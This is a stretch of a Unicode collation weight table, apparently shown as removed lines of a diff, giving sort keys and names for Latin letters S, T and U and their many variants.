-1D4AE ; [.1DEC.0020.000B] # MATHEMATICAL SCRIPT CAPITAL S
-1D4E2 ; [.1DEC.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL S
-1D516 ; [.1DEC.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL S
-1D54A ; [.1DEC.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL S
-1D57E ; [.1DEC.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL S
-1D5B2 ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL S
-1D5E6 ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL S
-1D61A ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL S
-1D64E ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL S
-1D682 ; [.1DEC.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL S
-24C8  ; [.1DEC.0020.000C] # CIRCLED LATIN CAPITAL LETTER S
-1F162 ; [.1DEC.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER S
-02E2  ; [.1DEC.0020.0014] # MODIFIER LETTER SMALL S
-209B  ; [.1DEC.0020.0015] # LATIN SUBSCRIPT SMALL LETTER S
-1F142 ; [.1DEC.0020.001D] # SQUARED LATIN CAPITAL LETTER S
-1F182 ; [.1DEC.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER S
-015B  ; [.1DEC.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER S WITH ACUTE
-015A  ; [.1DEC.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER S WITH ACUTE
-1E65  ; [.1DEC.0020.0002][.0000.0024.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE
-1E64  ; [.1DEC.0020.0008][.0000.0024.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE
-015D  ; [.1DEC.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX
-015C  ; [.1DEC.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX
-0161  ; [.1DEC.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER S WITH CARON
-0160  ; [.1DEC.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER S WITH CARON
-1E67  ; [.1DEC.0020.0002][.0000.0028.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH CARON AND DOT ABOVE
-1E66  ; [.1DEC.0020.0008][.0000.0028.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE
-1E61  ; [.1DEC.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT ABOVE
-1E60  ; [.1DEC.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT ABOVE
-015F  ; [.1DEC.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER S WITH CEDILLA
-015E  ; [.1DEC.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER S WITH CEDILLA
-A7A9  ; [.1DEC.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER S WITH OBLIQUE STROKE
-A7A8  ; [.1DEC.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER S WITH OBLIQUE STROKE
-1E63  ; [.1DEC.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER S WITH DOT BELOW
-1E62  ; [.1DEC.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW
-1E69  ; [.1DEC.0020.0002][.0000.0042.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
-1E68  ; [.1DEC.0020.0008][.0000.0042.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE
-0219  ; [.1DEC.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER S WITH COMMA BELOW
-0218  ; [.1DEC.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER S WITH COMMA BELOW
-017F  ; [.1DEC.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER LONG S
-1DE5  ; [.1DEC.0020.0004][.0000.010C.0004] # COMBINING LATIN SMALL LETTER LONG S
-A785  ; [.1DEC.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR S
-A784  ; [.1DEC.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR S
-1E9B  ; [.1DEC.0020.0004][.0000.010C.0004][.0000.002E.0002] # LATIN SMALL LETTER LONG S WITH DOT ABOVE
-1F18D ; [.1DEC.0020.001D][.1BC2.0020.001D] # NEGATIVE SQUARED SA
-1F14C ; [.1DEC.0020.001D][.1C0A.0020.001D] # SQUARED SD
-2120  ; [.1DEC.0020.0014][.1D25.0020.0014] # SERVICE MARK
-1F198 ; [.1DEC.0020.001D][.1D58.0020.001D][.1DEC.0020.001D] # SQUARED SOS
-33DB  ; [.1DEC.0020.001C][.1DAE.0020.001C] # SQUARE SR
-1F14D ; [.1DEC.0020.001D][.1DEC.0020.001D] # SQUARED SS
-00DF  ; [.1DEC.0020.0004][.0000.010B.0004][.1DEC.0020.0004] # LATIN SMALL LETTER SHARP S
-1E9E  ; [.1DEC.0020.000A][.0000.010B.0004][.1DEC.0020.000A] # LATIN CAPITAL LETTER SHARP S
-FB06  ; [.1DEC.0020.0004][.1E10.0020.0004] # LATIN SMALL LIGATURE ST
-FB05  ; [.1DEC.0020.0004][.0000.010C.0004][.1E10.0020.0004] # LATIN SMALL LIGATURE LONG S T
-33DC  ; [.1DEC.0020.001D][.1E5E.0020.001C] # SQUARE SV
-A731  ; [.1DF0.0020.0002] # LATIN LETTER SMALL CAPITAL S
-1D74  ; [.1DF1.0020.0002] # LATIN SMALL LETTER S WITH MIDDLE TILDE
-1D8A  ; [.1DF2.0020.0002] # LATIN SMALL LETTER S WITH PALATAL HOOK
-0282  ; [.1DF3.0020.0002] # LATIN SMALL LETTER S WITH HOOK
-1DB3  ; [.1DF3.0020.0014] # MODIFIER LETTER SMALL S WITH HOOK
-023F  ; [.1DF7.0020.0002] # LATIN SMALL LETTER S WITH SWASH TAIL
-2C7E  ; [.1DF7.0020.0008] # LATIN CAPITAL LETTER S WITH SWASH TAIL
-1E9C  ; [.1DFB.0020.0002] # LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE
-1E9D  ; [.1DFC.0020.0002] # LATIN SMALL LETTER LONG S WITH HIGH STROKE
-0283  ; [.1DFD.0020.0002] # LATIN SMALL LETTER ESH
-1DEF  ; [.1DFD.0020.0004] # COMBINING LATIN SMALL LETTER ESH
-01A9  ; [.1DFD.0020.0008] # LATIN CAPITAL LETTER ESH
-1DB4  ; [.1DFD.0020.0014] # MODIFIER LETTER SMALL ESH
-AB4D  ; [.1E01.0020.0002] # LATIN SMALL LETTER BASELINE ESH
-1D8B  ; [.1E02.0020.0002] # LATIN SMALL LETTER ESH WITH PALATAL HOOK
-01AA  ; [.1E03.0020.0002] # LATIN LETTER REVERSED ESH LOOP
-0285  ; [.1E07.0020.0002] # LATIN SMALL LETTER SQUAT REVERSED ESH
-1D98  ; [.1E0B.0020.0002] # LATIN SMALL LETTER ESH WITH RETROFLEX HOOK
-0286  ; [.1E0C.0020.0002] # LATIN SMALL LETTER ESH WITH CURL
-0074  ; [.1E10.0020.0002] # LATIN SMALL LETTER T
-FF54  ; [.1E10.0020.0003] # FULLWIDTH LATIN SMALL LETTER T
-036D  ; [.1E10.0020.0004] # COMBINING LATIN SMALL LETTER T
-24AF  ; [*0310.0020.0004][.1E10.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER T
-1D42D ; [.1E10.0020.0005] # MATHEMATICAL BOLD SMALL T
-1D461 ; [.1E10.0020.0005] # MATHEMATICAL ITALIC SMALL T
-1D495 ; [.1E10.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL T
-1D4C9 ; [.1E10.0020.0005] # MATHEMATICAL SCRIPT SMALL T
-1D4FD ; [.1E10.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL T
-1D531 ; [.1E10.0020.0005] # MATHEMATICAL FRAKTUR SMALL T
-1D565 ; [.1E10.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL T
-1D599 ; [.1E10.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL T
-1D5CD ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF SMALL T
-1D601 ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL T
-1D635 ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL T
-1D669 ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL T
-1D69D ; [.1E10.0020.0005] # MATHEMATICAL MONOSPACE SMALL T
-24E3  ; [.1E10.0020.0006] # CIRCLED LATIN SMALL LETTER T
-0054  ; [.1E10.0020.0008] # LATIN CAPITAL LETTER T
-FF34  ; [.1E10.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER T
-1F123 ; [*0310.0020.0004][.1E10.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER T
-1D413 ; [.1E10.0020.000B] # MATHEMATICAL BOLD CAPITAL T
-1D447 ; [.1E10.0020.000B] # MATHEMATICAL ITALIC CAPITAL T
-1D47B ; [.1E10.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL T
-1D4AF ; [.1E10.0020.000B] # MATHEMATICAL SCRIPT CAPITAL T
-1D4E3 ; [.1E10.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL T
-1D517 ; [.1E10.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL T
-1D54B ; [.1E10.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL T
-1D57F ; [.1E10.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL T
-1D5B3 ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL T
-1D5E7 ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL T
-1D61B ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL T
-1D64F ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL T
-1D683 ; [.1E10.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL T
-24C9  ; [.1E10.0020.000C] # CIRCLED LATIN CAPITAL LETTER T
-1F163 ; [.1E10.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER T
-1D57  ; [.1E10.0020.0014] # MODIFIER LETTER SMALL T
-209C  ; [.1E10.0020.0015] # LATIN SUBSCRIPT SMALL LETTER T
-1D40  ; [.1E10.0020.001D] # MODIFIER LETTER CAPITAL T
-1F143 ; [.1E10.0020.001D] # SQUARED LATIN CAPITAL LETTER T
-1F183 ; [.1E10.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER T
-0165  ; [.1E10.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER T WITH CARON
-0164  ; [.1E10.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER T WITH CARON
-1E97  ; [.1E10.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER T WITH DIAERESIS
-1E6B  ; [.1E10.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER T WITH DOT ABOVE
-1E6A  ; [.1E10.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER T WITH DOT ABOVE
-0163  ; [.1E10.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER T WITH CEDILLA
-0162  ; [.1E10.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER T WITH CEDILLA
-1E6D  ; [.1E10.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER T WITH DOT BELOW
-1E6C  ; [.1E10.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER T WITH DOT BELOW
-021B  ; [.1E10.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER T WITH COMMA BELOW
-021A  ; [.1E10.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER T WITH COMMA BELOW
-1E71  ; [.1E10.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW
-1E70  ; [.1E10.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW
-1E6F  ; [.1E10.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER T WITH LINE BELOW
-1E6E  ; [.1E10.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER T WITH LINE BELOW
-A787  ; [.1E10.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR T
-A786  ; [.1E10.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR T
-02A8  ; [.1E10.0020.0004][.1C04.0020.0004] # LATIN SMALL LETTER TC DIGRAPH WITH CURL
-2121  ; [.1E10.0020.000A][.1C25.0020.000A][.1CF2.0020.000A] # TELEPHONE SIGN
-1D7A  ; [.1E10.0020.0004][.0000.010B.0004][.1C93.0020.0004] # LATIN SMALL LETTER TH WITH STRIKETHROUGH
-3394  ; [.1E10.0020.001D][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE THZ
-2122  ; [.1E10.0020.0014][.1D25.0020.0014] # TRADE MARK SIGN
-01BE  ; [.1E10.0020.0004][.1DEC.0020.0004] # LATIN LETTER INVERTED GLOTTAL STOP WITH STROKE
-02A6  ; [.1E10.0020.0004][.1DEC.0020.0004] # LATIN SMALL LETTER TS DIGRAPH
-02A7  ; [.1E10.0020.0004][.1DFD.0020.0004] # LATIN SMALL LETTER TESH DIGRAPH
-A729  ; [.1E10.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER TZ
-A728  ; [.1E10.0020.000A][.1E9C.0020.0004] # LATIN CAPITAL LETTER TZ
-1D1B  ; [.1E14.0020.0002] # LATIN LETTER SMALL CAPITAL T
-0167  ; [.1E15.0020.0002] # LATIN SMALL LETTER T WITH STROKE
-0166  ; [.1E15.0020.0008] # LATIN CAPITAL LETTER T WITH STROKE
-2C66  ; [.1E19.0020.0002] # LATIN SMALL LETTER T WITH DIAGONAL STROKE
-023E  ; [.1E19.0020.0008] # LATIN CAPITAL LETTER T WITH DIAGONAL STROKE
-1D75  ; [.1E1A.0020.0002] # LATIN SMALL LETTER T WITH MIDDLE TILDE
-01AB  ; [.1E1B.0020.0002] # LATIN SMALL LETTER T WITH PALATAL HOOK
-1DB5  ; [.1E1B.0020.0014] # MODIFIER LETTER SMALL T WITH PALATAL HOOK
-01AD  ; [.1E1F.0020.0002] # LATIN SMALL LETTER T WITH HOOK
-01AC  ; [.1E1F.0020.0008] # LATIN CAPITAL LETTER T WITH HOOK
-0288  ; [.1E23.0020.0002] # LATIN SMALL LETTER T WITH RETROFLEX HOOK
-01AE  ; [.1E23.0020.0008] # LATIN CAPITAL LETTER T WITH RETROFLEX HOOK
-0236  ; [.1E27.0020.0002] # LATIN SMALL LETTER T WITH CURL
-A777  ; [.1E2B.0020.0002] # LATIN SMALL LETTER TUM
-0287  ; [.1E2C.0020.0002] # LATIN SMALL LETTER TURNED T
-A7B1  ; [.1E2C.0020.0008] # LATIN CAPITAL LETTER TURNED T
-0075  ; [.1E30.0020.0002] # LATIN SMALL LETTER U
-FF55  ; [.1E30.0020.0003] # FULLWIDTH LATIN SMALL LETTER U
-0367  ; [.1E30.0020.0004] # COMBINING LATIN SMALL LETTER U
-24B0  ; [*0310.0020.0004][.1E30.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER U
-1D42E ; [.1E30.0020.0005] # MATHEMATICAL BOLD SMALL U
-1D462 ; [.1E30.0020.0005] # MATHEMATICAL ITALIC SMALL U
-1D496 ; [.1E30.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL U
-1D4CA ; [.1E30.0020.0005] # MATHEMATICAL SCRIPT SMALL U
-1D4FE ; [.1E30.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL U
-1D532 ; [.1E30.0020.0005] # MATHEMATICAL FRAKTUR SMALL U
-1D566 ; [.1E30.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL U
-1D59A ; [.1E30.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL U
-1D5CE ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF SMALL U
-1D602 ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL U
-1D636 ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL U
-1D66A ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL U
-1D69E ; [.1E30.0020.0005] # MATHEMATICAL MONOSPACE SMALL U
-24E4  ; [.1E30.0020.0006] # CIRCLED LATIN SMALL LETTER U
-0055  ; [.1E30.0020.0008] # LATIN CAPITAL LETTER U
-FF35  ; [.1E30.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER U
-1F124 ; [*0310.0020.0004][.1E30.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER U
-1D414 ; [.1E30.0020.000B] # MATHEMATICAL BOLD CAPITAL U
-1D448 ; [.1E30.0020.000B] # MATHEMATICAL ITALIC CAPITAL U
-1D47C ; [.1E30.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL U
-1D4B0 ; [.1E30.0020.000B] # MATHEMATICAL SCRIPT CAPITAL U
-1D4E4 ; [.1E30.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL U
-1D518 ; [.1E30.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL U
-1D54C ; [.1E30.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL U
-1D580 ; [.1E30.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL U
-1D5B4 ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL U
-1D5E8 ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL U
-1D61C ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL U
-1D650 ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL U
-1D684 ; [.1E30.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL U
-24CA  ; [.1E30.0020.000C] # CIRCLED LATIN CAPITAL LETTER U
-1F164 ; [.1E30.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER U
-1D58  ; [.1E30.0020.0014] # MODIFIER LETTER SMALL U
-1D64  ; [.1E30.0020.0015] # LATIN SUBSCRIPT SMALL LETTER U
-1D41  ; [.1E30.0020.001D] # MODIFIER LETTER CAPITAL U
-1F144 ; [.1E30.0020.001D] # SQUARED LATIN CAPITAL LETTER U
-1F184 ; [.1E30.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER U
-00FA  ; [.1E30.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA  ; [.1E30.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH ACUTE
-00F9  ; [.1E30.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH GRAVE
-00D9  ; [.1E30.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH GRAVE
-016D  ; [.1E30.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER U WITH BREVE
-016C  ; [.1E30.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER U WITH BREVE
-00FB  ; [.1E30.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX
-00DB  ; [.1E30.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX
-01D4  ; [.1E30.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH CARON
-01D3  ; [.1E30.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH CARON
-016F  ; [.1E30.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH RING ABOVE
-016E  ; [.1E30.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH RING ABOVE
-00FC  ; [.1E30.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-1DF4  ; [.1E30.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER U WITH DIAERESIS
-A79F  ; [.1E30.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK UE
-00DC  ; [.1E30.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS
-A79E  ; [.1E30.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK UE
-01D8  ; [.1E30.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7  ; [.1E30.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01DC  ; [.1E30.0020.0002][.0000.002B.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB  ; [.1E30.0020.0008][.0000.002B.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01DA  ; [.1E30.0020.0002][.0000.002B.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9  ; [.1E30.0020.0008][.0000.002B.0002][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-01D6  ; [.1E30.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5  ; [.1E30.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-0171  ; [.1E30.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170  ; [.1E30.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0169  ; [.1E30.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH TILDE
-0168  ; [.1E30.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH TILDE
-1E79  ; [.1E30.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH TILDE AND ACUTE
-1E78  ; [.1E30.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH TILDE AND ACUTE
-0173  ; [.1E30.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER U WITH OGONEK
-0172  ; [.1E30.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER U WITH OGONEK
-016B  ; [.1E30.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON
-016A  ; [.1E30.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON
-1E7B  ; [.1E30.0020.0002][.0000.0032.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH MACRON AND DIAERESIS
-1E7A  ; [.1E30.0020.0008][.0000.0032.0002][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS
-1DF0  ; [.1E30.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER U WITH LIGHT CENTRALIZATION STROKE
-1EE7  ; [.1E30.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HOOK ABOVE
-1EE6  ; [.1E30.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HOOK ABOVE
-0215  ; [.1E30.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER U WITH DOUBLE GRAVE
-0214  ; [.1E30.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE GRAVE
-0217  ; [.1E30.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER U WITH INVERTED BREVE
-0216  ; [.1E30.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER U WITH INVERTED BREVE
-01B0  ; [.1E30.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN
-01AF  ; [.1E30.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN
-1EE9  ; [.1E30.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH HORN AND ACUTE
-1EE8  ; [.1E30.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE
-1EEB  ; [.1E30.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE
-1EEA  ; [.1E30.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE
-1EEF  ; [.1E30.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH HORN AND TILDE
-1EEE  ; [.1E30.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH HORN AND TILDE
-1EED  ; [.1E30.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE
-1EEC  ; [.1E30.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE
-1EF1  ; [.1E30.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW
-1EF0  ; [.1E30.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
-1EE5  ; [.1E30.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH DOT BELOW
-1EE4  ; [.1E30.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH DOT BELOW
-1E73  ; [.1E30.0020.0002][.0000.0043.0002] # LATIN SMALL LETTER U WITH DIAERESIS BELOW
-1E72  ; [.1E30.0020.0008][.0000.0043.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS BELOW
-1E77  ; [.1E30.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW
-1E76  ; [.1E30.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW
-1E75  ; [.1E30.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER U WITH TILDE BELOW
-1E74  ; [.1E30.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER U WITH TILDE BELOW
-1F199 ; [.1E30.0020.001D][.1D87.0020.001D][*025F.0020.001C] # SQUARED UP WITH EXCLAMATION MARK
-1D1C  ; [.1E34.0020.0002] # LATIN LETTER SMALL CAPITAL U
-1DB8  ; [.1E34.0020.0014] # MODIFIER LETTER SMALL CAPITAL U
-AB4E  ; [.1E35.0020.0002] # LATIN SMALL LETTER U WITH SHORT RIGHT LEG
-1D1D  ; [.1E36.0020.0002] # LATIN SMALL LETTER SIDEWAYS U
-1D59  ; [.1E36.0020.0014] # MODIFIER LETTER SMALL SIDEWAYS U
-1D1E  ; [.1E37.0020.0002] # LATIN SMALL LETTER SIDEWAYS DIAERESIZED U
-1D6B  ; [.1E38.0020.0002] # LATIN SMALL LETTER UE
-AB50  ; [.1E39.0020.0002] # LATIN SMALL LETTER UI
-AB51  ; [.1E3A.0020.0002] # LATIN SMALL LETTER TURNED UI
-0289  ; [.1E3B.0020.0002] # LATIN SMALL LETTER U BAR
-0244  ; [.1E3B.0020.0008] # LATIN CAPITAL LETTER U BAR
-1DB6  ; [.1E3B.0020.0014] # MODIFIER LETTER SMALL U BAR
-AB4F  ; [.1E3F.0020.0002] # LATIN SMALL LETTER U BAR WITH SHORT RIGHT LEG
-1D7E  ; [.1E40.0020.0002] # LATIN SMALL CAPITAL LETTER U WITH STROKE
-1D99  ; [.1E41.0020.0002] # LATIN SMALL LETTER U WITH RETROFLEX HOOK
-AB52  ; [.1E42.0020.0002] # LATIN SMALL LETTER U WITH LEFT HOOK
-AB5F  ; [.1E42.0020.0014] # MODIFIER LETTER SMALL U WITH LEFT HOOK
-0265  ; [.1E43.0020.0002] # LATIN SMALL LETTER TURNED H
-A78D  ; [.1E43.0020.0008] # LATIN CAPITAL LETTER TURNED H
-1DA3  ; [.1E43.0020.0014] # MODIFIER LETTER SMALL TURNED H
-02AE  ; [.1E47.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK
-02AF  ; [.1E4B.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL
-026F  ; [.1E4F.0020.0002] # LATIN SMALL LETTER TURNED M
-019C  ; [.1E4F.0020.0008] # LATIN CAPITAL LETTER TURNED M
-1D5A  ; [.1E4F.0020.0014] # MODIFIER LETTER SMALL TURNED M
-A7FA  ; [.1E53.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED M
-1D1F  ; [.1E54.0020.0002] # LATIN SMALL LETTER SIDEWAYS TURNED M
-0270  ; [.1E55.0020.0002] # LATIN SMALL LETTER TURNED M WITH LONG LEG
-1DAD  ; [.1E55.0020.0014] # MODIFIER LETTER SMALL TURNED M WITH LONG LEG
-028A  ; [.1E59.0020.0002] # LATIN SMALL LETTER UPSILON
-01B1  ; [.1E59.0020.0008] # LATIN CAPITAL LETTER UPSILON
-1DB7  ; [.1E59.0020.0014] # MODIFIER LETTER SMALL UPSILON
-1D7F  ; [.1E5D.0020.0002] # LATIN SMALL LETTER UPSILON WITH STROKE
